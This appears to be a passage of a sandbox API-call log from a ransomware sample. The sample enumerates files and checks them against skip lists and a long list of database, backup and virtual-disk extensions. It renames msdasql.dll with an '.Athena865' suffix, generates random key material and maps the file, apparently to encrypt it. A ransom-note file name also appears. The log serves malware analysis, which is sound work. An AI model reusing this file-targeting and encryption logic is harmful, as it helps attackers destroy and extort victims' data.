[0119.043] lstrcmpiW (lpString1="msdasql.dll", lpString2="perflogs") returned -1 [0119.043] lstrcmpiW (lpString1="msdasql.dll", lpString2="MSBuild") returned 1 [0119.043] lstrlenW (lpString="msdasql.dll") returned 11 [0119.043] lstrcpyW (in: lpString1=0x241e8a0, lpString2="msdasql.dll" | out: lpString1="msdasql.dll") returned="msdasql.dll" [0119.044] lstrlenW (lpString="msdasql.dll") returned 11 [0119.044] lstrlenW (lpString="Athena865") returned 9 [0119.044] lstrcmpiW (lpString1="dasql.dll", lpString2="Athena865") returned 1 [0119.044] lstrlenW (lpString=".dll") returned 4 [0119.044] lstrcmpiW (lpString1="msdasql.dll", lpString2=".dll") returned 1 [0119.044] lstrlenW (lpString=".lnk") returned 4 [0119.044] lstrcmpiW (lpString1="msdasql.dll", lpString2=".lnk") returned 1 [0119.044] lstrlenW (lpString=".ini") returned 4 [0119.044] lstrcmpiW (lpString1="msdasql.dll", lpString2=".ini") returned 1 [0119.044] lstrlenW (lpString=".sys") returned 4 [0119.044] lstrcmpiW (lpString1="msdasql.dll", lpString2=".sys") returned 1 [0119.044] lstrlenW (lpString="msdasql.dll") returned 11 [0119.044] lstrlenW (lpString="bak") returned 3 [0119.044] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0119.044] lstrlenW (lpString="ba_") returned 3 [0119.044] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0119.044] lstrlenW (lpString="dbb") returned 3 [0119.044] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0119.044] lstrlenW (lpString="vmdk") returned 4 [0119.044] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0119.044] lstrlenW (lpString="rar") returned 3 [0119.044] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0119.044] lstrlenW (lpString="zip") returned 3 [0119.044] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0119.044] lstrlenW (lpString="tgz") returned 3 [0119.044] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0119.044] lstrlenW (lpString="vbox") returned 4 [0119.044] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0119.044] lstrlenW (lpString="vdi") returned 3 [0119.044] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0119.045] lstrlenW (lpString="vhd") returned 3 [0119.045] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0119.045] lstrlenW (lpString="vhdx") returned 4 [0119.045] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0119.045] lstrlenW (lpString="avhd") returned 4 [0119.045] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0119.045] lstrlenW (lpString="db") returned 2 [0119.045] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0119.045] lstrlenW (lpString="db2") returned 3 [0119.045] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0119.045] lstrlenW (lpString="db3") returned 3 [0119.045] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0119.045] lstrlenW (lpString="dbf") returned 3 [0119.045] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0119.045] lstrlenW (lpString="mdf") returned 3 [0119.045] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0119.045] lstrlenW (lpString="mdb") returned 3 [0119.045] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0119.045] lstrlenW (lpString="sql") returned 3 [0119.045] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0119.045] lstrlenW (lpString="sqlite") returned 6 [0119.045] lstrcmpiW (lpString1="ql.dll", lpString2="sqlite") returned -1 [0119.045] lstrlenW (lpString="sqlite3") returned 7 [0119.045] lstrcmpiW (lpString1="sql.dll", lpString2="sqlite3") returned -1 [0119.045] lstrlenW (lpString="sqlitedb") returned 8 [0119.045] lstrcmpiW (lpString1="asql.dll", lpString2="sqlitedb") returned -1 [0119.045] lstrlenW (lpString="xml") returned 3 [0119.045] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0119.045] lstrlenW (lpString="$er") returned 3 [0119.045] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0119.046] lstrlenW (lpString="4dd") returned 3 [0119.046] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0119.046] lstrlenW (lpString="4dl") returned 3 [0119.046] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0119.046] lstrlenW (lpString="^^^") returned 3 [0119.046] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0119.046] lstrlenW (lpString="abs") returned 3 [0119.046] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0119.046] lstrlenW (lpString="abx") returned 3 [0119.046] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0119.046] lstrlenW (lpString="accdb") returned 5 [0119.046] lstrcmpiW (lpString1="l.dll", lpString2="accdb") returned 1 [0119.046] lstrlenW (lpString="accdc") returned 5 [0119.046] lstrcmpiW (lpString1="l.dll", lpString2="accdc") returned 1 [0119.046] lstrlenW (lpString="accde") returned 5 [0119.046] lstrcmpiW (lpString1="l.dll", lpString2="accde") returned 1 [0119.046] lstrlenW (lpString="accdr") returned 5 [0119.046] lstrcmpiW (lpString1="l.dll", lpString2="accdr") returned 1 [0119.046] lstrlenW (lpString="accdt") returned 5 [0119.046] lstrcmpiW (lpString1="l.dll", lpString2="accdt") returned 1 [0119.046] lstrlenW (lpString="accdw") returned 5 [0119.046] lstrcmpiW (lpString1="l.dll", lpString2="accdw") returned 1 [0119.046] lstrlenW (lpString="accft") returned 5 [0119.046] lstrcmpiW (lpString1="l.dll", lpString2="accft") returned 1 [0119.046] lstrlenW (lpString="adb") returned 3 [0119.046] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0119.046] lstrlenW (lpString="adb") returned 3 [0119.046] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0119.046] lstrlenW (lpString="ade") returned 3 [0119.046] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0119.047] lstrlenW (lpString="adf") returned 3 [0119.047] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0119.047] lstrlenW (lpString="adn") returned 3 [0119.047] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0119.047] lstrlenW (lpString="adp") returned 3 [0119.047] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0119.047] lstrlenW (lpString="alf") returned 3 [0119.047] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0119.047] lstrlenW (lpString="ask") returned 3 [0119.047] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0119.047] lstrlenW (lpString="btr") returned 3 [0119.047] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0119.047] lstrlenW (lpString="cat") returned 3 [0119.047] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0119.047] lstrlenW (lpString="cdb") returned 3 [0119.047] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0119.047] lstrlenW (lpString="ckp") returned 3 [0119.047] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0119.047] lstrlenW (lpString="cma") returned 3 [0119.047] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0119.047] lstrlenW (lpString="cpd") returned 3 [0119.047] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0119.047] lstrlenW (lpString="dacpac") returned 6 [0119.047] lstrcmpiW (lpString1="ql.dll", lpString2="dacpac") returned 1 [0119.047] lstrlenW (lpString="dad") returned 3 [0119.047] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0119.047] lstrlenW (lpString="dadiagrams") returned 10 [0119.047] lstrcmpiW (lpString1="sdasql.dll", lpString2="dadiagrams") returned 1 [0119.047] lstrlenW (lpString="daschema") returned 8 [0119.047] lstrcmpiW (lpString1="asql.dll", lpString2="daschema") returned -1 [0119.047] lstrlenW (lpString="db-journal") returned 10 [0119.048] lstrcmpiW (lpString1="sdasql.dll", lpString2="db-journal") returned 1 [0119.048] lstrlenW (lpString="db-shm") returned 6 [0119.048] lstrcmpiW (lpString1="ql.dll", lpString2="db-shm") returned 1 [0119.048] lstrlenW (lpString="db-wal") returned 6 [0119.048] lstrcmpiW (lpString1="ql.dll", lpString2="db-wal") returned 1 [0119.048] lstrlenW (lpString="dbc") returned 3 [0119.048] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0119.048] lstrlenW (lpString="dbs") returned 3 [0119.048] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0119.048] lstrlenW (lpString="dbt") returned 3 [0119.048] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0119.048] lstrlenW (lpString="dbv") returned 3 [0119.048] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0119.048] lstrlenW (lpString="dbx") returned 3 [0119.048] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0119.048] lstrlenW (lpString="dcb") returned 3 [0119.048] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0119.048] lstrlenW (lpString="dct") returned 3 [0119.048] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0119.048] lstrlenW (lpString="dcx") returned 3 [0119.048] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0119.048] lstrlenW (lpString="ddl") returned 3 [0119.048] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0119.048] lstrlenW (lpString="dlis") returned 4 [0119.048] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0119.048] lstrlenW (lpString="dp1") returned 3 [0119.048] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0119.048] lstrlenW (lpString="dqy") returned 3 [0119.048] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0119.048] lstrlenW (lpString="dsk") returned 3 [0119.048] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0119.049] lstrlenW (lpString="dsn") returned 3 [0119.049] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0119.049] lstrlenW (lpString="dtsx") returned 4 [0119.049] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0119.049] lstrlenW (lpString="dxl") returned 3 [0119.049] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0119.049] lstrlenW (lpString="eco") returned 3 [0119.049] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0119.049] lstrlenW (lpString="ecx") returned 3 [0119.049] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0119.049] lstrlenW (lpString="edb") returned 3 [0119.049] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0119.049] lstrlenW (lpString="epim") returned 4 [0119.049] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0119.049] lstrlenW (lpString="fcd") returned 3 [0119.049] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0119.049] lstrlenW (lpString="fdb") returned 3 [0119.049] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0119.049] lstrlenW (lpString="fic") returned 3 [0119.049] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0119.049] lstrlenW (lpString="flexolibrary") returned 12 [0119.049] lstrlenW (lpString="fm5") returned 3 [0119.049] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0119.049] lstrlenW (lpString="fmp") returned 3 [0119.049] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0119.049] lstrlenW (lpString="fmp12") returned 5 [0119.049] lstrcmpiW (lpString1="l.dll", lpString2="fmp12") returned 1 [0119.049] lstrlenW (lpString="fmpsl") returned 5 [0119.049] lstrcmpiW (lpString1="l.dll", lpString2="fmpsl") returned 1 [0119.049] lstrlenW (lpString="fol") returned 3 [0119.049] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0119.050] lstrlenW (lpString="fp3") returned 3 [0119.050] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0119.050] lstrlenW (lpString="fp4") returned 3 [0119.050] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0119.050] lstrlenW (lpString="fp5") returned 3 [0119.050] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0119.050] lstrlenW (lpString="fp7") returned 3 [0119.050] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0119.050] lstrlenW (lpString="fpt") returned 3 [0119.050] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0119.050] lstrlenW (lpString="frm") returned 3 [0119.050] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0119.050] lstrlenW (lpString="gdb") returned 3 [0119.050] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0119.050] lstrlenW (lpString="gdb") returned 3 [0119.050] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0119.050] lstrlenW (lpString="grdb") returned 4 [0119.050] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0119.050] lstrlenW (lpString="gwi") returned 3 [0119.050] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0119.050] lstrlenW (lpString="hdb") returned 3 [0119.050] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0119.050] lstrlenW (lpString="his") returned 3 [0119.050] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0119.050] lstrlenW (lpString="ib") returned 2 [0119.050] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0119.050] lstrlenW (lpString="idb") returned 3 [0119.050] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0119.050] lstrlenW (lpString="ihx") returned 3 [0119.050] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0119.050] lstrlenW (lpString="itdb") returned 4 [0119.051] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0119.051] lstrlenW (lpString="itw") returned 3 [0119.051] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0119.051] lstrlenW (lpString="jet") returned 3 [0119.051] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0119.051] lstrlenW (lpString="jtx") returned 3 [0119.051] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0119.051] lstrlenW (lpString="kdb") returned 3 [0119.051] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0119.051] lstrlenW (lpString="kexi") returned 4 [0119.051] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0119.051] lstrlenW (lpString="kexic") returned 5 [0119.051] lstrcmpiW (lpString1="l.dll", lpString2="kexic") returned 1 [0119.051] lstrlenW (lpString="kexis") returned 5 [0119.051] lstrcmpiW (lpString1="l.dll", lpString2="kexis") returned 1 [0119.051] lstrlenW (lpString="lgc") returned 3 [0119.051] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0119.051] lstrlenW (lpString="lwx") returned 3 [0119.051] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0119.051] lstrlenW (lpString="maf") returned 3 [0119.051] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0119.051] lstrlenW (lpString="maq") returned 3 [0119.051] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0119.051] lstrlenW (lpString="mar") returned 3 [0119.051] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0119.051] lstrlenW (lpString="marshal") returned 7 [0119.051] lstrcmpiW (lpString1="sql.dll", lpString2="marshal") returned 1 [0119.051] lstrlenW (lpString="mas") returned 3 [0119.051] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0119.051] lstrlenW (lpString="mav") returned 3 [0119.051] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0119.052] lstrlenW (lpString="maw") returned 3 [0119.052] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0119.052] lstrlenW (lpString="mdbhtml") returned 7 [0119.052] lstrcmpiW (lpString1="sql.dll", lpString2="mdbhtml") returned 1 [0119.052] lstrlenW (lpString="mdn") returned 3 [0119.052] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0119.052] lstrlenW (lpString="mdt") returned 3 [0119.052] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0119.052] lstrlenW (lpString="mfd") returned 3 [0119.052] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0119.052] lstrlenW (lpString="mpd") returned 3 [0119.052] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0119.052] lstrlenW (lpString="mrg") returned 3 [0119.052] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0119.052] lstrlenW (lpString="mud") returned 3 [0119.052] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0119.052] lstrlenW (lpString="mwb") returned 3 [0119.052] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0119.052] lstrlenW (lpString="myd") returned 3 [0119.052] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0119.052] lstrlenW (lpString="ndf") returned 3 [0119.052] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0119.052] lstrlenW (lpString="nnt") returned 3 [0119.052] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0119.052] lstrlenW (lpString="nrmlib") returned 6 [0119.052] lstrcmpiW (lpString1="ql.dll", lpString2="nrmlib") returned 1 [0119.052] lstrlenW (lpString="ns2") returned 3 [0119.052] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0119.052] lstrlenW (lpString="ns3") returned 3 [0119.052] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0119.052] lstrlenW (lpString="ns4") returned 3 [0119.053] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0119.053] lstrlenW (lpString="nsf") returned 3 [0119.053] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0119.053] lstrlenW (lpString="nv") returned 2 [0119.053] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0119.053] lstrlenW (lpString="nv2") returned 3 [0119.053] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0119.053] lstrlenW (lpString="nwdb") returned 4 [0119.053] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0119.053] lstrlenW (lpString="nyf") returned 3 [0119.053] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0119.053] lstrlenW (lpString="odb") returned 3 [0119.053] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0119.053] lstrlenW (lpString="odb") returned 3 [0119.053] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0119.053] lstrlenW (lpString="oqy") returned 3 [0119.053] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0119.053] lstrlenW (lpString="ora") returned 3 [0119.053] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0119.053] lstrlenW (lpString="orx") returned 3 [0119.053] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0119.053] lstrlenW (lpString="owc") returned 3 [0119.053] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0119.053] lstrlenW (lpString="p96") returned 3 [0119.053] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0119.053] lstrlenW (lpString="p97") returned 3 [0119.053] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0119.053] lstrlenW (lpString="pan") returned 3 [0119.053] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0119.053] lstrlenW (lpString="pdb") returned 3 [0119.053] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0119.054] lstrlenW (lpString="pdm") returned 3 [0119.054] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0119.054] lstrlenW (lpString="pnz") returned 3 [0119.054] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0119.054] lstrlenW (lpString="qry") returned 3 [0119.054] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0119.054] lstrlenW (lpString="qvd") returned 3 [0119.054] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0119.054] lstrlenW (lpString="rbf") returned 3 [0119.054] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0119.054] lstrlenW (lpString="rctd") returned 4 [0119.054] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0119.054] lstrlenW (lpString="rod") returned 3 [0119.054] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0119.054] lstrlenW (lpString="rodx") returned 4 [0119.054] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0119.054] lstrlenW (lpString="rpd") returned 3 [0119.054] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0119.054] lstrlenW (lpString="rsd") returned 3 [0119.054] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0119.054] lstrlenW (lpString="sas7bdat") returned 8 [0119.054] lstrcmpiW (lpString1="asql.dll", lpString2="sas7bdat") returned -1 [0119.054] lstrlenW (lpString="sbf") returned 3 [0119.054] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0119.054] lstrlenW (lpString="scx") returned 3 [0119.054] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0119.054] lstrlenW (lpString="sdb") returned 3 [0119.054] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0119.054] lstrlenW (lpString="sdc") returned 3 [0119.054] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0119.055] lstrlenW (lpString="sdf") returned 3 [0119.055] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0119.055] lstrlenW (lpString="sis") returned 3 [0119.055] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0119.055] lstrlenW (lpString="spq") returned 3 [0119.055] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0119.055] lstrlenW (lpString="te") returned 2 [0119.055] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0119.055] lstrlenW (lpString="teacher") returned 7 [0119.055] lstrcmpiW (lpString1="sql.dll", lpString2="teacher") returned -1 [0119.055] lstrlenW (lpString="tmd") returned 3 [0119.055] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0119.055] lstrlenW (lpString="tps") returned 3 [0119.055] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0119.055] lstrlenW (lpString="trc") returned 3 [0119.055] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0119.055] lstrlenW (lpString="trc") returned 3 [0119.055] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0119.055] lstrlenW (lpString="trm") returned 3 [0119.055] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0119.055] lstrlenW (lpString="udb") returned 3 [0119.055] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0119.055] lstrlenW (lpString="udl") returned 3 [0119.055] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0119.055] lstrlenW (lpString="usr") returned 3 [0119.055] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0119.055] lstrlenW (lpString="v12") returned 3 [0119.055] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0119.055] lstrlenW (lpString="vis") returned 3 [0119.055] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0119.056] lstrlenW (lpString="vpd") returned 3 [0119.056] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0119.056] lstrlenW (lpString="vvv") returned 3 [0119.056] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0119.056] lstrlenW (lpString="wdb") returned 3 [0119.056] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0119.056] lstrlenW (lpString="wmdb") returned 4 [0119.056] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0119.056] lstrlenW (lpString="wrk") returned 3 [0119.056] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0119.056] lstrlenW (lpString="xdb") returned 3 [0119.056] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0119.056] lstrlenW (lpString="xld") returned 3 [0119.056] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0119.056] lstrlenW (lpString="xmlff") returned 5 [0119.056] lstrcmpiW (lpString1="l.dll", lpString2="xmlff") returned -1 [0119.056] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll.Athena865") returned 65 [0119.056] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasql.dll"), lpNewFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasql.dll.athena865"), dwFlags=0x1) returned 1 [0119.057] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasql.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0119.057] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=745472) returned 1 [0119.057] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0119.057] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5390e0 [0119.057] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0119.058] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0119.058] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0119.058] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.058] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb6300, lpName=0x0) returned 0x154 [0119.060] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb6300) returned 0x2d50000 [0119.086] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.087] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.087] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.087] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0119.087] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0119.087] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0119.087] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0119.087] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.087] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0119.087] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0119.087] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0119.087] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.088] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0119.088] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0119.094] CloseHandle (hObject=0x154) returned 1 [0119.094] CloseHandle (hObject=0x17c) returned 1 [0119.094] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5390e0 | out: hHeap=0x4f0000) returned 1 [0119.094] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0119.094] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0119.097] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ab69cf, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x2ab69cf, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x838ac7b0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msdasqlr.dll", cAlternateFileName="")) returned 1 [0119.097] lstrcmpiW (lpString1="msdasqlr.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0119.097] lstrcmpiW (lpString1="msdasqlr.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0119.097] lstrcmpiW (lpString1="msdasqlr.dll", lpString2=".") returned 